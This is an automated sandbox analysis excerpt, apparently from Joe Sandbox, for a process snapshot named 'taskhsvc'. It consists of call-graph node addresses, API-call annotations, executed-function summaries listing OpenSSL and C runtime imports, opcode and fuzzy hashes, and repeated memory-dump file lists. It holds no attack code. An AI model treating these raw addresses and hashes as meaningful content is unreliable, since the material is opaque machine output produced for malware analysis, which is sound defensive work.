50801->50798 50802 d06442 free 50801->50802 50802->50798 50804 d060c2 50803->50804 50805 d062a2 __stack_chk_fail 50804->50805 50806 d062a7 50804->50806 50805->50806 50806->50786 50806->50788 50808 d044d3 50807->50808 50809 d04512 50808->50809 50810 d36562 3 API calls 50808->50810 50812 d04567 50809->50812 50814 d36562 3 API calls 50809->50814 50811 d044ed 50810->50811 50813 d39764 105 API calls 50811->50813 50833 d04401 108 API calls 50812->50833 50816 d0450d abort 50813->50816 50817 d04542 50814->50817 50816->50809 50819 d39764 105 API calls 50817->50819 50818 d0457e 50820 d045c0 50818->50820 50822 d36562 3 API calls 50818->50822 50821 d04562 abort 50819->50821 50824 d36562 3 API calls 50820->50824 50821->50812 50823 d0459b 50822->50823 50825 d39764 105 API calls 50823->50825 50826 d04e62 50824->50826 50827 d045bb abort 50825->50827 50828 d39764 105 API calls 50826->50828 50827->50820 50829 d04e82 abort 50828->50829 50830 d04e8b 50829->50830 50831 d04ea0 50830->50831 50832 d04e9b __stack_chk_fail 50830->50832 50831->50798 50831->50799 50832->50831 50833->50818 50834 be508d 50847 bec570 143 API calls 50834->50847 50836 be50c1 50848 cdcfe2 170 API calls 50836->50848 50838 be50d4 50849 cdcfe2 170 API calls 50838->50849 50840 be50e7 50850 cdd5bb 186 API calls 50840->50850 50842 be50fa 50851 ce0b63 50842->50851 50845 be511e __stack_chk_fail 50846 be5123 50845->50846 50847->50836 50848->50838 50849->50840 50850->50842 50852 ce0b9e 50851->50852 50902 ce0bac 50852->50902 50923 ce05fe 167 API calls 50852->50923 50854 ce0bd1 50855 ce0be2 50854->50855 51009 ce0a1f __stack_chk_fail 50854->51009 50858 d33842 105 API calls 50855->50858 50855->50902 50856 ce129e __stack_chk_fail 50857 be510e 50856->50857 50857->50845 50857->50846 50860 ce0c14 50858->50860 50924 d45cfa 50860->50924 50863 d39b0b 105 API calls 50864 ce0c77 50863->50864 50967 cdefc9 107 API calls 50864->50967 50866 ce0e65 50867 ce0eaa 50866->50867 51015 d35f38 107 API calls 50866->51015 50968 d46573 50867->50968 50871 ce0e7d 50871->50867 50881 d36562 3 API calls 50886 ce0c85 50881->50886 50886->50866 50886->50881 50891 d39764 105 API calls 50886->50891 50892 d33842 105 API calls 50886->50892 50898 ce0e09 free 50886->50898 50900 d39d53 105 API calls 50886->50900 51010 cdf7b1 117 API calls 50886->51010 51011 ce0abb free __stack_chk_fail 50886->51011 51012 d36c19 __stack_chk_fail 50886->51012 51013 d36b7e __stack_chk_fail 50886->51013 51014 cdf096 108 API calls 50886->51014 50895 ce0d46 abort 50891->50895 50892->50886 50895->50886 50898->50886 50900->50886 50902->50856 50902->50857 50923->50854 50925 d41144 105 API calls 50924->50925 50926 d45d2e 50925->50926 50927 d45d77 50926->50927 50928 d36562 3 API calls 50926->50928 50929 d45db6 50927->50929 50931 d36562 3 API calls 50927->50931 50930 d45d52 50928->50930 50932 d45dfb 50929->50932 50933 d36562 3 API calls 50929->50933 50935 d39764 105 API calls 50930->50935 50936 d45d91 50931->50936 50934 d413ee 105 API calls 50932->50934 50937 d45dd6 50933->50937 50938 d45e10 50934->50938 50939 d45d72 abort 50935->50939 50940 d39764 105 API calls 50936->50940 50941 d39764 105 API calls 50937->50941 50942 d45e22 50938->50942 51021 d36107 111 API calls 50938->51021 50939->50927 50943 d45db1 abort 50940->50943 50944 d45df6 abort 50941->50944 50946 d359c4 107 API calls 50942->50946 50943->50929 50944->50932 50947 d45eb1 50946->50947 50948 d45ec3 strerror 50947->50948 50949 d45f0c 50947->50949 50952 d33842 105 API calls 50948->50952 50966 d45f66 50949->50966 51022 d36bc4 __stack_chk_fail 50949->51022 50955 d45f0a 50952->50955 50953 ce0c5f 50953->50863 50953->50902 50954 d4601b __stack_chk_fail 50954->50953 50957 d45f91 50955->50957 50958 d45f83 _close 50955->50958 50956 d45f20 50959 d45f2b strerror 50956->50959 50956->50966 50960 d45fc4 50957->50960 50961 d45fac free 50957->50961 50958->50957 50962 d33842 105 API calls 50959->50962 50963 d45fd5 free 50960->50963 50964 d45feb 50960->50964 50961->50960 50962->50955 50963->50964 50965 d45ff9 free 50964->50965 50964->50966 50965->50966 50966->50953 50966->50954 50967->50886 51009->50855 51010->50886 51011->50886 51012->50886 51013->50886 51014->50886 51015->50871 51021->50942 51022->50956 51128 e0c5d8 evutil_secure_rng_init 51129 e0c5fe 51128->51129 51130 d5ccf2 111 API calls 51129->51130 51131 e0c61e evutil_secure_rng_add_bytes evutil_secure_rng_get_bytes 51130->51131 51132 e0c660 51131->51132 51133 e0c65b __stack_chk_fail 51131->51133 51133->51132 51134 c0aef9 setsockopt 51135 c0af49 51134->51135 51136 c0af60 __stack_chk_fail 51135->51136 51137 c0af65 51135->51137 51136->51137 51138 bf8086 51139 bf8179 51138->51139 51140 bf80c5 51138->51140 51141 bf8806 51139->51141 51143 bf8199 51139->51143 51142 bf811e 51140->51142 51144 bf80de 51140->51144 51145 bf883c 51141->51145 51151 bf881e 51141->51151 51146 d36562 3 API calls 51142->51146 51270 bf4b8a 107 API calls 51143->51270 51266 bf4b8a 107 API calls 51144->51266 51309 c08de8 107 API calls 51145->51309 51147 bf8156 51146->51147 51269 c0a80c 154 API calls 51147->51269 51308 bf7cb9 336 API calls 51151->51308 51153 bf885f 51157 c3f792 108 API calls 51153->51157 51154 bf81a4 51158 bf81eb 51154->51158 51161 d36562 3 API calls 51154->51161 51155 bf80e9 51267 bf4c6a 107 API calls 51155->51267 51160 bf8879 51157->51160 51163 bf823b 51158->51163 51164 bf81f6 51158->51164 51175 d33842 105 API calls 51160->51175 51166 bf81c6 51161->51166 51162 bf80f6 51268 bf6995 309 API calls 51162->51268 51165 bf828c time 51163->51165 51172 d33842 105 API calls 51163->51172 51170 c3f792 108 API calls 51164->51170 51174 d33842 105 API calls 51165->51174 51173 d39764 105 API calls 51166->51173 51167 bf88cb __stack_chk_fail 51168 bf88d0 51167->51168 51171 bf81fb 51170->51171 51181 d33842 105 API calls 51171->51181 51176 bf8281 51172->51176 51177 bf81e6 abort 51173->51177 51178 bf82eb 51174->51178 51237 bf8119 51175->51237 51271 c3827c __stack_chk_fail __stack_chk_fail 51176->51271 51177->51158 51272 bf73a5 116 API calls 51178->51272 51181->51237 51182 bf830b 51183 bf8388 51182->51183 51184 c3f792 108 API calls 51182->51184 51275 bf4a7c __stack_chk_fail 51183->51275 51186 bf8314 51184->51186 51193 d33842 105 API calls 51186->51193 51187 bf8393 51188 bf85a2 51187->51188 51276 bf4a7c __stack_chk_fail 51187->51276 51287 bf4c6a 107 API calls 51188->51287 51191 bf83a7 51277 d4d28c 111 API calls 51191->51277 51192 bf85ad 51288 ce3254 108 API calls 51192->51288 51196 bf834a 51193->51196 51273 c3699f 116 API calls 51196->51273 51197 bf83b6 51200 bf8400 51197->51200 51202 c3f792 108 API calls 51197->51202 51198 bf85c5 51203 d36562 3 API calls 51198->51203 51208 bf860b 51198->51208 51279 d4e04a 117 API calls 51200->51279 51201 bf835d 51204 d36562 3 API calls 51201->51204 51212 bf83bf 51202->51212 51206 bf85e6 51203->51206 51207 bf8369 51204->51207 51214 d39764 105 API calls 51206->51214 51274 c3604e 296 API calls 51207->51274 51216 d33842 105 API calls 51208->51216 51222 bf867b 51208->51222 51209 bf8413 51210 d33842 105 API calls 51209->51210 51217 bf843b 51210->51217 51211 bf8712 51236 bf87a1 51211->51236 51306 c03ebe 112 API calls 51211->51306 51213 bf8483 51212->51213 51218 d36562 3 API calls 51212->51218 51225 bf84bb 51213->51225 51226 bf8557 51213->51226 51219 bf8606 abort 51214->51219 51216->51222 51280 c3699f 116 API calls 51217->51280 51224 bf83d9 51218->51224 51219->51208 51222->51211 51223 bf86f2 51222->51223 51228 d33842 105 API calls 51222->51228 51229 bf873f 51223->51229 51230 bf8708 51223->51230 51278 d4beda 115 API calls 51224->51278 51282 d4e04a 117 API calls 51225->51282 51285 ca268a 148 API calls 51226->51285 51227 bf844e 51235 d36562 3 API calls 51227->51235 51228->51223 51234 c28ada 108 API calls 51229->51234 51238 bf870d 51230->51238 51244 bf8720 51230->51244 51234->51211 51242 bf845a 51235->51242 51236->51237 51243 d36562 3 API calls 51236->51243 51237->51167 51237->51168 51238->51211 51304 bf4b1a 107 API calls 51238->51304 51239 bf83f8 51239->51200 51239->51213 51240 bf84ce 51245 c3f792 108 API calls 51240->51245 51241 bf8590 51286 bf732d 119 API calls 51241->51286 51281 c3604e 296 API calls 51242->51281 51250 bf87d9 51243->51250 51289 cd3d90 118 API calls 51244->51289 51247 bf84d5 51245->51247 51256 d33842 105 API calls 51247->51256 51307 c0a80c 154 API calls 51250->51307 51252 bf8760 51252->51211 51305 c57e5d 125 API calls 51252->51305 51254 bf8725 51254->51211 51290 c28ada 51254->51290 51258 bf850f 51256->51258 51283 c3699f 116 API calls 51258->51283 51259 bf876d 51261 c28ada 108 API calls 51259->51261 51261->51211 51262 bf8522 51263 d36562 3 API calls 51262->51263 51264 bf852e 51263->51264 51284 c3604e 296 API calls 51264->51284 51266->51155 51267->51162 51268->51237 51269->51237 51270->51154 51271->51165 51272->51182 51273->51201 51274->51183 51275->51187 51276->51191 51277->51197 51278->51239 51279->51209 51280->51227 51281->51237 51282->51240 51283->51262 51284->51237 51285->51241 51286->51188 51287->51192 51288->51198 51289->51254 51291 c28b09 51290->51291 51294 c28b13 51290->51294 51292 c28d09 __stack_chk_fail 51291->51292 51293 c28d0e 51291->51293 51292->51293 51293->51211 51294->51291 51310 c288cd 51294->51310 51297 d33207 105 API calls 51298 c28bfd 51297->51298 51299 d36005 2 API calls 51298->51299 51300 c28c4a 51299->51300 51301 d36005 2 API calls 51300->51301 51304->51252 51305->51259 51306->51236 51307->51237 51308->51237 51309->51153 51311 c288fe 51310->51311 51312 c28ad3 __stack_chk_fail 51311->51312 51313 c28ad8 51311->51313 51312->51313 51313->51297 51315 ce3832 51331 ce3735 51315->51331 51437 c9cb6d 51331->51437 51438 d41144 105 API calls 51437->51438 51439 c9cb89 51438->51439 51452 d5ce40 51439->51452 51442 d5ce40 114 API calls 51443 c9cbe6 51442->51443 51468 c9cad8 51443->51468 51450 c9cc42 __stack_chk_fail 51451 c9cc47 51450->51451 51453 d5ce67 51452->51453 51454 d5ce98 51452->51454 51455 d36562 3 API calls 51453->51455 51456 d36562 3 API calls 51454->51456 51463 d5ced7 51454->51463 51457 d5ce73 51455->51457 51458 d5ceb2 51456->51458 51460 d39764 105 API calls 51457->51460 51462 d39764 105 API calls 51458->51462 51459 d5ccf2 111 API calls 51459->51463 51461 d5ce93 abort 51460->51461 51461->51454 51464 d5ced2 abort 51462->51464 51463->51459 51465 d5cf06 51463->51465 51464->51463 51466 c9cba1 51465->51466 51467 d5cf1e __stack_chk_fail 51465->51467 51466->51442 51467->51466 51469 d4fc04 105 API calls 51468->51469 51470 c9cafc 51469->51470 51491 c9ca77 51470->51491 51477 d39d53 105 API calls 51478 c9cb49 51477->51478 51479 c9c6c2 106 API calls 51478->51479 51480 c9cb4e 51479->51480 51481 c9cb6b 51480->51481 51482 c9cb66 __stack_chk_fail 51480->51482 51483 d240b6 51481->51483 51482->51481 51484 d240d6 __stack_chk_fail 51483->51484 51485 c9cc2c 51483->51485 51484->51485 51486 d272a0 51485->51486 51512 d45435 51486->51512 51489 d272d2 __stack_chk_fail 51490 c9cc34 51489->51490 51490->51450 51490->51451 51505 cd668e 51491->51505 51494 c9cad1 __stack_chk_fail 51495 c9cad6 51494->51495 51496 bfb25e memset 51495->51496 51497 bfb2ad __stack_chk_fail 51496->51497 51498 bfb2b2 51496->51498 51497->51498 51499 c9c6c2 51498->51499 51500 c9c6db 51499->51500 51504 c9c6e0 51499->51504 51501 d39b0b 105 API calls 51500->51501 51501->51504 51502 c9c6fa 51502->51477 51503 c9c6f5 __stack_chk_fail 51503->51502 51504->51502 51504->51503 51506 cd66c2 51505->51506 51510 cd66c7 51505->51510 51511 cd3ec7 117 API calls 51506->51511 51508 c9cab3 51508->51494 51508->51495 51509 cd6714 __stack_chk_fail 51509->51508 51510->51508 51510->51509 51511->51510 51513 d45455 __stack_chk_fail 51512->51513 51514 d272bb 51512->51514 51513->51514 51514->51489 51514->51490 51527 be56c3 51528 c3f792 108 API calls 51527->51528 51529 be56e5 time 51528->51529 51530 d4545c __stack_chk_fail 51529->51530 51531 be570c 51530->51531 51574 c26b33 51531->51574 51542 c7b356 __stack_chk_fail 51543 be57c6 51542->51543 51544 be59b0 51543->51544 51626 c7b0c8 110 API calls 51543->51626 51548 be59c7 51544->51548 51635 ce5384 126 API calls 51544->51635 51546 be57d3 51546->51544 51627 be18d5 __stack_chk_fail 51546->51627 51550 be59fe __stack_chk_fail 51548->51550 51551 be5a03 51548->51551 51550->51551 51552 be57ea 51552->51544 51628 c7bc49 187 API calls 51552->51628 51554 be583b 51555 be58f7 51554->51555 51629 c7a3a0 112 API calls 51554->51629 51555->51544 51632 c7a3f1 112 API calls 51555->51632 51557 be5853 51557->51555 51630 d4fa37 111 API calls 51557->51630 51559 be590c 51559->51544 51633 d4fa37 111 API calls 51559->51633 51562 be586c 51575 c26b8f 51574->51575 51576 c26bf8 51575->51576 51636 c188ae 128 API calls 51575->51636 51578 c26c08 __stack_chk_fail 51576->51578 51579 be57a7 51576->51579 51578->51579 51580 c25e05 51579->51580 51581 c25f21 51580->51581 51582 c25e3d 51580->51582 51583 c25f31 __stack_chk_fail 51581->51583 51584 be57ac 51581->51584 51585 be21c4 106 API calls 51582->51585 51583->51584 51589 c2617a 51584->51589 51587 c25e42 51585->51587 51587->51581 51637 c16eca 107 API calls 51587->51637 51638 c188ae 128 API calls 51587->51638 51590 c3f792 108 API calls 51589->51590 51591 c26191 51590->51591 51592 c26205 51591->51592 51595 be21c4 106 API calls 51591->51595 51593 c26215 __stack_chk_fail 51592->51593 51594 be57b1 51592->51594 51593->51594 51599 c25f3d 51594->51599 51596 c261c4 51595->51596 51596->51592 51597 be21c4 106 API calls 51596->51597 51639 c26057 132 API calls 51596->51639 51597->51596 51600 c25f71 51599->51600 51601 c25f7b 51599->51601 51603 be57b6 51600->51603 51604 c2604b __stack_chk_fail 51600->51604 51602 c9c6c2 106 API calls 51601->51602 51608 c25f80 51602->51608 51609 c2692e 51603->51609 51604->51603 51605 c9c6c2 106 API calls 51605->51608 51608->51600 51608->51605 51640 c1709e 107 API calls 51608->51640 51641 c188ae 128 API calls 51608->51641 51610 c3f792 108 API calls 51609->51610 51611 c26945 51610->51611 51612 c26973 51611->51612 51613 d4107e 105 API calls 51611->51613 51614 c26a72 __stack_chk_fail 51612->51614 51615 be57bb 51612->51615 51616 c26989 51613->51616 51614->51615 51615->51542 51617 c9c6c2 106 API calls 51616->51617 51624 c26991 51617->51624 51618 c26a42 51618->51612 51619 c26a50 free 51618->51619 51619->51612 51620 c9c6c2 106 API calls 51620->51624 51624->51618 51624->51620 51625 c26a16 free 51624->51625 51642 c26221 108 API calls 51624->51642 51643 c26667 124 API calls 51624->51643 51644 c188ae 128 API calls 51624->51644 51625->51624 51626->51546 51627->51552 51628->51554 51629->51557 51630->51562 51632->51559 51635->51548 51636->51576 51637->51587 51638->51587 51639->51596 51640->51608 51641->51608 51642->51624 51643->51624 51644->51624

                                                                                                                          Executed Functions

                                                                                                                          Function 00BE11FD Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 157stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 202 be11fd-be1221 205 be1227-be1246 202->205 206 be1424-be1438 _amsg_exit 202->206 207 be143e-be145e _initterm 205->207 208 be124c-be124e 205->208 206->207 206->208 210 be1464-be146a 207->210 211 be1254-be125b 207->211 208->210 208->211 212 be125d-be1276 211->212 213 be1279-be12b7 call e16bb0 SetUnhandledExceptionFilter call e1d3d0 call e16e60 211->213 212->213 221 be12b9-be12bb 213->221 222 be1314-be131c 213->222 225 be12d1-be12d7 221->225 223 be131e-be132e 222->223 224 be1333-be1362 malloc 222->224 223->224 230 be1364-be1399 strlen malloc memcpy 224->230 226 be12d9-be12e4 225->226 227 be12c0-be12c2 225->227 229 be12ce 226->229 231 be12c4-be12c7 227->231 232 be12f0-be12f2 227->232 229->225 230->230 235 be139b-be13dd call e16ef0 call be1570 230->235 231->232 236 be12c9 231->236 233 be12f4 232->233 234 be1305-be130d 232->234 237 be130f 233->237 234->237 238 be1300-be1303 234->238 242 be13e2-be13ef 235->242 236->229 237->222 238->234 238->237 243 be14ab-be14d2 exit call e16f10 242->243 244 be13f5-be13fd 242->244 245 be13ff-be1404 _cexit 244->245 246 be1409-be1410 244->246 245->246
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: malloc$ExceptionFilterUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                                                                          • String ID: 2Y#$:[#
                                                                                                                          • API String ID: 2574462208-2722984323
                                                                                                                          • Opcode ID: 2f2b526ad2aedce8ea7f010dae15faf9e1bb5926734404b28ca587fd218132be
                                                                                                                          • Instruction ID: 753e62c25b5308493fdc46dd680e96e1f568b17ad7afa09c316888d65fbe3d85
                                                                                                                          • Opcode Fuzzy Hash: 2f2b526ad2aedce8ea7f010dae15faf9e1bb5926734404b28ca587fd218132be
                                                                                                                          • Instruction Fuzzy Hash: BE519FB0A08385CFCB10EF6ED8817AA77F6FB45300F14496DD985A7352E7359889CB52
                                                                                                                          Function 00D55EA1 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • ERR_load_crypto_strings.LIBEAY32 ref: 00D55EC8
                                                                                                                          • OPENSSL_add_all_algorithms_noconf.LIBEAY32 ref: 00D55ECD
                                                                                                                            • Part of subcall function 00D5D6F1: CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,00D55ED7), ref: 00D5D702
                                                                                                                            • Part of subcall function 00D5D6F1: CRYPTO_set_locking_callback.LIBEAY32 ref: 00D5D75B
                                                                                                                            • Part of subcall function 00D5D6F1: CRYPTO_THREADID_set_callback.LIBEAY32 ref: 00D5D767
                                                                                                                            • Part of subcall function 00D5D6F1: __stack_chk_fail.LIBSSP-0 ref: 00D5D77C
                                                                                                                          • SSLeay.LIBEAY32 ref: 00D55ED7
                                                                                                                          • SSLeay_version.LIBEAY32 ref: 00D55EE6
                                                                                                                          • strcmp.MSVCRT ref: 00D55F05
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00D65F8F: __stack_chk_fail.LIBSSP-0 ref: 00D65FB0
                                                                                                                            • Part of subcall function 00D67322: __stack_chk_fail.LIBSSP-0 ref: 00D67343
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D55FC3
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
